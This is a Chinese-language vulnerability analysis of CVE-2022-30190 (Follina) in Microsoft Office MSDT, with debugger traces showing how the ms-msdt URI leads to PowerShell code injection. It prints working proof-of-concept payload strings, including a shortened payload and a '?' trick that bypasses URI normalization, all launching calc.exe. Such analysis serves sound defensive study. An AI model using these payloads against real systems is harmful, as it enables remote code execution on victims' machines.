在分析漏洞的过程中,陆陆续续看到许多师傅的分析文章,于是参考之后结合自己的分析总结了一下。
近日,微软官方网站发布了 Microsoft Office MSDT(Microsoft Support Diagnostic Tool)远程代码执行漏洞通告,漏洞编号 CVE-2022-30190,目前在开源代码平台已存在该漏洞的验证代码。该通告指出,Microsoft Office MSDT 存在远程代码执行漏洞,攻击者可利用 Office 文件中的远程模板功能,访问远程服务器上挂载的恶意 HTML 文件,之后通过 'ms-msdt' URI 来执行恶意 PowerShell 代码。
值得注意的是该漏洞在宏被禁用的情况下仍可被利用。**并且当恶意文件另存为 RTF 格式时,还可以通过 Windows 资源管理器中的预览窗格触发此漏洞的调用,无需执行也可以在目标机器上执行任意代码。**该漏洞影响范围非常广泛,目前官方未发布修复补丁。
1. 攻击者利用 Office 文件中的远程模板功能加载远程的 poc.html
在 document.xml.rels 文件中可以看到 docx 文件嵌入了一个 ole 对象,指向了 poc.html
2.poc.html 通过 'ms-msdt' URL 使得 Office 执行 msdt.exe,并将构造好的命令行参数传入 msdt.exe
查看 poc.html 的内容,可以看到页面访问了 URL:
ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"
上述注释是为了填充 HTML 页面使其大小大于 4kb,只有大于 4kb 的 HTML 页面 word 才会解析该页面进而触发漏洞,具体原因在Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit这篇文章中已经分析的很清楚了。
使用 urlprotocolview 查看ms-msdt URL 对应的二进制文件正是 msdt.exe
winword.exe 解析该 URL 后会调用 msdt.exe,并将命令行参数传入
3.msdt.exe 接收命令行参数后触发漏洞执行 powershell 命令:IEX('calc.exe')
,调用了 calc.exe
因为直接打开 msdt.exe 需要输入技术支持人员密钥才能进行下一步诊断,通过参数/id PCWDiagnostic
运行 PCWDiagnostic 程序兼容性诊断包绕过了该步骤
然而只是绕过输入密钥还不够,还需要点击下一页,才可以接收参数执行进程,通过参数/skip force
绕过了该步骤,此时 msdt 会创建并启动服务,通过 svchost.exe 创建进程 sdiagnhost.exe
接着再输入参数:
/param "IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"
就能通过 sdiagnhost.exe 执行 powershell 命令,整个漏洞利用完成。
整个漏洞利用链如图所示:
word 在解析 ms-msdt Office URL 时是通过 mshtml.dll 的 ShellExecURL 函数解析的,而该函数内部会调用 ShellExecuteW 执行命令行参数创建 msdt.exe
``0:000> r rax=0000000000000000 rbx=0000000000000000 rcx=0000000000000000 rdx=0000000000000000 rsi=0000000080004005 rdi=00000267dfbe07f0 rip=00007ffa2fe2fe45 rsp=000000f644b0d410 rbp=000000f644b0d510 r8=00000267dfb84838 r9=0000000000000000 r10=0000000000000000 r11=0000000000000246 r12=00007ffa3086e358 r13=0000000000000000 r14=0000000000000000 r15=0000000000000020 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 mshtml!ShellExecURL+0x24d: 00007ffa`2fe2fe45 48ff1554b8c600 call qword ptr [mshtml!_imp_ShellExecuteW (00007ffa`30a9b6a0)] ds:00007ffa`30a9b6a0={mshtml!_imp_load_ShellExecuteW (00007ffa`2f8edaaa)} 0:000> du r8 //ShellExecuteW的执行参数 00000267`dfb84838 "ms-msdt:/id PCWDiagnostic /skip " 00000267`dfb84878 "force /param "IT_RebrowseForFile" 00000267`dfb848b8 "=cal?c IT_SelectProgram=NotListe" 00000267`dfb848f8 "d IT_BrowseForFile=h$(IEX('calc." 00000267`dfb84938 "exe'))i/../../../../../../../../" 00000267`dfb84978 "../../../../../../Windows/System" 00000267`dfb849b8 "32/mpsigstub.exe "" 0:000> k //函数调用栈 # Child-SP RetAddr Call Site 00 00000092`064fccc8 00007ffa`707502de SHELL32!ShellExecuteNormal 01 00000092`064fccd0 00007ffa`707d8f11 SHELL32!ShellExecuteExW+0xde 02 00000092`064fce70 00007ffa`2fe2fe4c SHELL32!ShellExecuteW+0x81 03 00000092`064fcf30 00007ffa`2fe2ee3a mshtml!ShellExecURL+0x254 04 00000092`064fd1f0 00007ffa`2fb4e721 mshtml!OpenInNewWindow+0x38e 05 00000092`064fd3e0 00007ffa`2f6206cf mshtml!CDoc::DoNavigate_NavigateInNewBrowser+0x201 06 00000092`064fd470 00007ffa`2f619f00 mshtml!CDoc::DoNavigate+0xbaf 07 00000092`064fd7c0 00007ffa`2f751420 mshtml!CDoc::FollowHyperlink2+0xc70 08 00000092`064fd9c0 00007ffa`2f75072b mshtml!CWindow::FollowHyperlinkHelper+0x2a4 09 00000092`064fdb40 00007ffa`2f74a704 mshtml!CWindow::NavigateEx+0xeb 0a 00000092`064fdcb0 000001c0`4fad4802 mshtml!COmLocationProxy::InvokeEx+0x4f4 0b 00000092`064fddc0 000001c0`4fad468e jscript9!HostDispatch::CallInvokeExInternal+0xf2 0c 00000092`064fde60 000001c0`4fad4540 jscript9!HostDispatch::CallInvokeHandler+0x96 0d 00000092`064fdee0 000001c0`4fb8afb6 jscript9!HostDispatch::CallInvokeEx+0x90 0e 00000092`064fdf70 000001c0`4fb8aed3 jscript9!HostDispatch::PutValueByDispId+0xd6 0f 00000092`064fe030 000001c0`4fa50ce1 jscript9!HostDispatch::PutValue+0x37 10 00000092`064fe070 000001c0`4fa54a1e jscript9!Js::JavascriptOperators::OP_SetProperty+0x1d1 11 00000092`064fe100 000001c0`4fa43f43 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x7e 12 00000092`064fe180 000001c0`4fa47a2d jscript9!Js::InterpreterStackFrame::DoProfiledSetProperty<Js::OpLayoutElementCP_OneByte const >+0x183 13 00000092`064fe240 000001c0`4fa45029 jscript9!Js::InterpreterStackFrame::Process+0x6cd 14 00000092`064fe2c0 000001c0`4ff00fc3 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x4c9 15 00000092`064fe4d0 000001c0`4fb0afb6 0x000001c0`4ff00fc3 16 00000092`064fe500 000001c0`4f9eb3d1 jscript9!amd64_CallFunction+0x86 17 00000092`064fe550 000001c0`4fa9abc9 jscript9!Js::JavascriptFunction::CallFunction<1>+0x71 18 00000092`064fe5c0 000001c0`4fa9aab0 jscript9!Js::JavascriptFunction::CallRootFunctionInternal+0xfd 19 00000092`064fe690 000001c0`4fa9aa0b jscript9!Js::JavascriptFunction::CallRootFunction+0x64 1a 00000092`064fe700 000001c0`4fa9a929 jscript9!ScriptSite::CallRootFunction+0x67 1b 00000092`064fe760 000001c0`4fa9ae80 jscript9!ScriptSite::Execute+0x109 1c 00000092`064fe7f0 000001c0`4fa20430 jscript9!ScriptEngine::ExecutePendingScripts+0x234 1d 00000092`064fe8e0 000001c0`4faf6924 jscript9!ScriptEngine::ParseScriptTextCore+0x49c 1e 00000092`064fea40 00007ffa`2f81e0c8 jscript9!ScriptEngine::ParseScriptText+0xc4 1f 00000092`064feaf0 00007ffa`2f5a25aa mshtml!CActiveScriptHolder::ParseScriptText+0xb8 20 00000092`064feb70 00007ffa`2f5a0f92 mshtml!CScriptCollection::ParseScriptText+0x25a 21 00000092`064fec50 00007ffa`2f5a09b6 mshtml!CScriptData::CommitCode+0x422 22 00000092`064fee20 00007ffa`2f5a072f mshtml!CScriptData::Execute+0x266 23 00000092`064feed0 00007ffa`2f63fa05 mshtml!CHtmScriptParseCtx::Execute+0xbf 24 00000092`064fef00 00007ffa`2f540767 mshtml!CHtmParseBase::Execute+0x95 25 00000092`064fef90 00007ffa`2f53ffaa mshtml!CHtmPost::Broadcast+0x47 26 00000092`064fefd0 00007ffa`2f80db06 mshtml!CHtmPost::Exec+0x29a 27 00000092`064ff1d0 00007ffa`2f80d9db mshtml!CHtmPost::Run+0x32 28 00000092`064ff200 00007ffa`2f80d96f mshtml!PostManExecute+0x63 29 00000092`064ff240 00007ffa`2f80d4d0 mshtml!PostManResume+0xab 2a 00000092`064ff280 00007ffa`2f875eec mshtml!CHtmPost::OnDwnChanCallback+0x40 2b 00000092`064ff2d0 00007ffa`2f53b0c1 mshtml!CDwnChan::OnMethodCall+0x1c 2c 00000092`064ff300 00007ffa`2f5dca04 mshtml!GlobalWndOnMethodCall+0x2b1 2d 00000092`064ff3b0 00007ffa`2f9854b8 mshtml!GlobalWndProc_SEH+0x104 2e 00000092`064ff440 00007ffa`6fd1e858 mshtml!GlobalWndProc+0x3a8c08 2f 00000092`064ff480 00007ffa`6fd1e299 USER32!UserCallWinProcCheckWow+0x2f8 30 00000092`064ff610 00007ffa`3e081af9 USER32!DispatchMessageWorker+0x249 31 00000092`064ff690 00007ffa`3dfe2009 wwlib!PTLS7::LsNotReached+0x7bd49 32 00000092`064ff730 00007ff6`79e71230 wwlib!FMain+0x61 33 00000092`064ff760 00007ff6`79e71519 winword+0x1230 34 00000092`064ff790 00007ffa`71177034 winword+0x1519 35 00000092`064ff7d0 00007ffa`71362651 KERNEL32!BaseThreadInitThunk+0x14 36 00000092`064ff800 00000000`00000000 ntdll!RtlUserThreadStart+0x21 ``
ShellExecuteW 内部则是通过 CreateRemoteThreadEx 创建新线程,通过新线程创建 msdt.exe:
``0:027> r rax=0000000002000000 rbx=0000000000000000 rcx=000000e48ad4d438 rdx=000000e48ad4d4a0 rsi=0000021054c22ee0 rdi=0000000000000000 rip=00007ffada60e620 rsp=000000e48ad4d358 rbp=000000e48ad4eb00 r8=0000000002000000 r9=0000000002000000 r10=0000000000000000 r11=000000e48ad4d300 r12=0000000000000001 r13=0000000000000002 r14=0000000000000008 r15=0000000000000000 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!NtCreateUserProcess: 00007ffa`da60e620 4c8bd1 mov r10,rcx 0:027> dps poi(esp+98) La8/8 //AttributeList 000000e4`8ad4df00 00000000`000000a8 000000e4`8ad4df08 00000000`00020005 //PS_ATTRIBUTE_IMAGE_NAME 000000e4`8ad4df10 00000000`00000040 //NtImagePath.Length 000000e4`8ad4df18 00000210`54bae7b0 //NtImagePath.Buffer 000000e4`8ad4df20 00000000`00000000 000000e4`8ad4df28 00000000`00010003 000000e4`8ad4df30 00000000`00000010 000000e4`8ad4df38 000000e4`8ad4d7c0 000000e4`8ad4df40 00000000`00000000 000000e4`8ad4df48 00000000`00000006 000000e4`8ad4df50 00000000`00000040 000000e4`8ad4df58 000000e4`8ad4d900 000000e4`8ad4df60 00000000`00000000 000000e4`8ad4df68 00000000`00020009 000000e4`8ad4df70 00000000`00000004 000000e4`8ad4df78 000000e4`8ad4d6f0 000000e4`8ad4df80 00000000`00000000 000000e4`8ad4df88 00000000`0006001a 000000e4`8ad4df90 00000000`00000001 000000e4`8ad4df98 00000000`00000001 000000e4`8ad4dfa0 00000000`00000000 0:027> du 00000210`54bae7b0 //创建的进程名 00000210`54bae7b0 "\??\C:\Windows\system32\msdt.exe" 00000210`54bae7f0 "" 0:027> k //创建msdt.exe的线程调用栈 # Child-SP RetAddr Call Site 00 000000e4`8ad4d358 00007ffa`d8128e73 ntdll!NtCreateUserProcess 01 000000e4`8ad4d360 00007ffa`d81271a6 KERNELBASE!CreateProcessInternalW+0xfe3 02 000000e4`8ad4e930 00007ffa`d89dcbb4 KERNELBASE!CreateProcessW+0x66 03 000000e4`8ad4e9a0 00007ffa`d5f1152d KERNEL32!CreateProcessWStub+0x54 04 000000e4`8ad4ea00 00007ffa`d5ea6722 windows_storage!CInvokeCreateProcessVerb::CallCreateProcess+0x2cd 05 000000e4`8ad4ecb0 00007ffa`d5f0a75c windows_storage!CInvokeCreateProcessVerb::_PrepareAndCallCreateProcess+0x2d6 06 000000e4`8ad4ed30 00007ffa`d5f0a583 windows_storage!CInvokeCreateProcessVerb::_TryCreateProcess+0x3c 07 000000e4`8ad4ed60 00007ffa`d5f0a46d windows_storage!CInvokeCreateProcessVerb::Launch+0xef 08 000000e4`8ad4ee00 00007ffa`d5f49dc4 windows_storage!CInvokeCreateProcessVerb::Execute+0x5d 09 000000e4`8ad4ee40 00007ffa`d5e31d87 windows_storage!CBindAndInvokeStaticVerb::InitAndCallExecute+0x214 0a 000000e4`8ad4eec0 00007ffa`d5ea5787 windows_storage!CBindAndInvokeStaticVerb::TryCreateProcessDdeHandler+0x63 0b 000000e4`8ad4ef40 00007ffa`d5ef586d windows_storage!CBindAndInvokeStaticVerb::Execute+0x1e7 0c 000000e4`8ad4f260 00007ffa`d5ef5785 windows_storage!RegDataDrivenCommand::_TryInvokeAssociation+0xad 0d 000000e4`8ad4f2c0 00007ffa`d9b92b22 windows_storage!RegDataDrivenCommand::_Invoke+0x141 0e 000000e4`8ad4f330 00007ffa`d9b929da SHELL32!CRegistryVerbsContextMenu::_Execute+0xce 0f 000000e4`8ad4f3a0 00007ffa`d9b9630c SHELL32!CRegistryVerbsContextMenu::InvokeCommand+0xaa 10 000000e4`8ad4f6a0 00007ffa`d9b9618d SHELL32!HDXA_LetHandlerProcessCommandEx+0x10c 11 000000e4`8ad4f7b0 00007ffa`d9b926ab SHELL32!CDefFolderMenu::InvokeCommand+0x13d 12 000000e4`8ad4fb10 00007ffa`d9b92583 SHELL32!CShellExecute::_InvokeInProcExec+0xfb 13 000000e4`8ad4fc10 00007ffa`d9bcd671 SHELL32!CShellExecute::_InvokeCtxMenu+0x5b 14 000000e4`8ad4fc50 00007ffa`d9bac32d SHELL32!CShellExecute::_DoExecute+0x151 15 000000e4`8ad4fcc0 00007ffa`da48c3f9 SHELL32!<lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl>+0x2d 16 000000e4`8ad4fd30 00007ffa`d89d7034 SHCORE!_WrapperThreadProc+0xe9 17 000000e4`8ad4fe10 00007ffa`da5c2651 KERNEL32!BaseThreadInitThunk+0x14 18 000000e4`8ad4fe40 00000000`00000000 ntdll!RtlUserThreadStart+0x21 ``
分析 word 解析 URL 是因为在尝试缩减 payload 的过程中发现了缩减后的 payload 能在 cmd 上成功执行命令,但是内嵌到 docx 文档中则无法执行,于是探索了一番。
原本的 payload 可以直接在 cmd 上运行,其中有些参数是不必要的,最终缩减的 payload 为msdt /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe"
,将 payload 替换到 poc.html 中window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../../$(calc).exe \" ";
。然而该 payload 却无法在 word 中执行成功,procmon 抓到的参数是不完整的:
重新调试 word,断在 ShellExecURL,发现到该函数时命令行的参数已经变成ms-msdt:/id PCWDiagnostic /$(calc).exe
:
``0:000> r rax=0000000000000000 rbx=0000000000000000 rcx=000002c0dc60fc00 rdx=000002c0cdec0000 rsi=000002c8e5144200 rdi=000002c8e5190400 rip=00007ffa9737fbf8 rsp=000000fbbf39d748 rbp=000000fbbf39d850 r8=000002c0cde50d20 r9=0000000000000001 r10=0000000000008000 r11=000000fbbf39d5a0 r12=00007ffa97dbe358 r13=0000000000000000 r14=0000000000000000 r15=000002c0df5435d0 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 mshtml!ShellExecURL: 00007ffa`9737fbf8 488bc4 mov rax,rsp 0:000> du 000002c0df5438a0 000002c0`df5438a0 "/id PCWDiagnostic /$(calc).exe"" ``
向前回溯在执行函数iertutil!CreateUri
后,传入的参数被截断:
``0:000> r rax=00000000000000dc rbx=000000000000006e rcx=000000b3c48fbe10 rdx=0000000003002b85 rsi=000001f1917fe9a8 rdi=0000000000000000 rip=00007ffa96d34a77 rsp=000000b3c48fbdb0 rbp=000000b3c48fbeb0 r8=0000000000000000 r9=000000b3c48fbde8 r10=0000000000000000 r11=000000000000006e r12=000000b3c48fdeb0 r13=0000000000000000 r14=000000b3c48fdec8 r15=000000000000006e iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 mshtml!GetFullyExpandedUri+0x12b: 00007ffa`96d34a77 48ff1572c7f600 call qword ptr [mshtml!_imp_CreateUri (00007ffa`97ca11f0)] ds:00007ffa`97ca11f0={iertutil!CreateUri (00007ffa`ce4ffa10)} 0:000> du rcx //传入的参数 000000b3`c48fbe10 "ms-msdt:/id PCWDiagnostic /skip " 000000b3`c48fbe50 "force /param "IT_LaunchMethod=Co" 000000b3`c48fbe90 "ntextMenu IT_BrowseForFile=/../." 000000b3`c48fbed0 "./$(calc).exe"" 0:000> dps r9 L1 //传出的IUri结构指针 000000b3`c48fbde8 00000000`00000000 0:000> p mshtml!GetFullyExpandedUri+0x132: 00007ffa`96d34a7e 0f1f440000 nop dword ptr [rax+rax] 0:000> du poi(poi(000000b3`c48fbde8)+68) //执行完函数后返回的IUri结构所指的URI字符串 000001f1`8a2bc560 "/id PCWDiagnostic /$(calc).exe"" ``
此时查看 MSDN 对于CreateUri函数的说明,发现对于传入的 URI 会进行规范化,会删除相对路径段"./"和"../",并酌情缩短路径,因此原本的参数会被截断。
但是原 payload 中的"./"和"../"被保留下来了,分析后得知在如果参数中有"?"符号,则后面的内容不会被截断,于是重新编写 payloadwindow.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_ReBrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe\"";
能成功执行:
WTP由一个 Windows 故障排除运行引擎、结果报告和调试报告、四个故障排除 cmdlet 和一个托管的 Windows PowerShell 运行环境组成,不同的 Windows 故障排除包会调用不同 PowerShell Script,并输出对应的结果报告和调试报告。下图显示了 WTP 架构:
Windwos 故障排除包既可以通过 WTP 向导 (MSDT.exe) 运行(本次漏洞就是通过这种方式),又可以在 Windows PowerShell 窗口中运行,通过 Windows PowerShell 窗口运行故障排除包时 msdt.exe 不会启动:
下图显示了故障排除包中包含的组件:
故障排除包的设计基于三个步骤或阶段:检测问题(troubleshooting)、解决问题(resolution)和验证解决方案(verification)。每个阶段都表示为一组 Windows PowerShell 脚本,对应脚本的开头分别为TS,RS和VF。本次漏洞中使用的 PCWDiagnostic 程序兼容性诊断包就正好有三个对应阶段的不同脚本:
当用户调用 PCWDiagnostic 程序兼容性诊断包时,WTP 会实例化一个 Windows PowerShell 运行空间来运行脚本,由于对于参数没有正确的过滤导致在执行脚本时会将参数中的"$"解析,导致了代码注入。
使用 dnSpy 调试 sdiagnhost.exe,可以利用 windbg 的工具 gflags.exe 设置 sdiagnhost.exe 的 debuger 为 dnSpy.exe:
执行在命令行执行 payload 后,sdiagnhost.exe 创建后会被 dnSpy 调试,此时下断在Microsoft.Windows.Diagnosis.ManagedHost.RunScript()
方法,随后启动调试会断在 RunScript 方法内:
可以看到待执行的 PowerShell 指令 text 中的内容就是 scriptPath,随后到达第二个断点。此时 text 的内容依然是 scriptPath,将要执行脚本TS_ProgramCompatibilityWizard.ps1
查看TS_ProgramCompatibilityWizard.ps1
的内容,首先获取 msdt 参数中 IT_BrowseForFile 部分的内容并调用Test-Selection
方法检查参数是否符合要求:
Test-Selection
首先检查了 IT_BrowseForFile 传入的路径是否存在,接着检查路径后缀名是否为.exe 或.msi,符合这两个条件表示路径合法
尽管/../../已经超出了 C:/的根路径,但是test-path
方法返回的结果仍然为 True,因此路径被判定合法:
随后通过$appName = [System.IO.Path]::GetFileNameWithoutExtension($selectedProgram).Replace("$", "`$")
来过滤传入的路径,测试了 appname 的过滤效果,发现执行了过滤语句后$(calc)仍然存在
最终调用 Update-DiagRootCause 方法,且传入 TARGETPATH 和 APPNAME:
在 dnSpy 下断于Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootCause.ProcessRecord()
方法,点击运行后成功断下:
继续向下调试,调用了scriptedDiagnosticInteraction.RecordRootcause
,且将 APPNAME 和 TARGETPATH 作为参数传入:
继续运行,发现停在了RunScript
方法,且参数正是 APPNAME 和 TARGETPATH,说明通过调用scriptedDiagnosticInteraction.RecordRootcause
方法执行了脚本RS_ProgramCompatibilityWizard.ps1
,并且将参数 APPNAME 和 TARGETPATH 传入到脚本中:
脚本接收两个参数,并赋给变量$targetPath和$appName,检查$targetPath 是否为可执行文件:
随后分别将$targetPath和$appName当作命令行参数赋给$getDiagCmd,此时命令行中会有注入的代码$(calc)
:
最终执行命令行,触发代码注入:
由于在命令行中既有$targetPath,又有$appName,猜想在执行命令时应该会执行两次 calc:
查看 procmon 的日志,确实发现 sdiagnhost.exe 创建了 calc.exe 两次,验证了猜想:
样本利用 Office 远程模板访问远程 html,并利用mshtml!ShellExecURL
函数解析了 URI,调用了 msdt.exe。msdt 调用 PCWDiagnostic 程序兼容性诊断包,构造了特殊的 IT_BrowseForFile 参数绕过了TS_ProgramCompatibilityWizard.ps1
对于路径是否存在和后缀是否为可执行的校验,将路径作为参数传入并执行了脚本RS_ProgramCompatibilityWizard.ps1
,该脚本检测路径后缀为.exe 后便直接调用Invoke-Expression
执行了命令行,由于命令行中嵌入了表达式$(calc)
,造成了代码注入触发漏洞。
漏洞本身并不复杂,利用也很简单,但是嵌入 rtf 格式文件配合预览窗格能构成一个 Zero-click 漏洞,产生的危害还是很大的。分析漏洞的过程中也学习了很多 dotnet 程序的调试技巧和 PowerShell 命令行的执行流程,感谢各位师傅精彩的分析文章。
[1] CVE-2022-30190 MSDT 代码注入漏洞分析:https://paper.seebug.org/1913/
[2] Follina Microsoft Office RCE with MS-MSDT Protocol:https://y4er.com/post/follina-microsoft-office-rce-with-ms-msdt-protocol/
[3] Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit:https://billdemirkapi.me/unpacking-cve-2021-40444-microsoft-office-rce/
[4] Windows Troubleshooting Platform:https://docs.microsoft.com/en-us/previous-versions/windows/desktop/wintt/windows-troubleshooting-toolkit-portal
[5] CreateUri function:https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms775098(v=vs.85)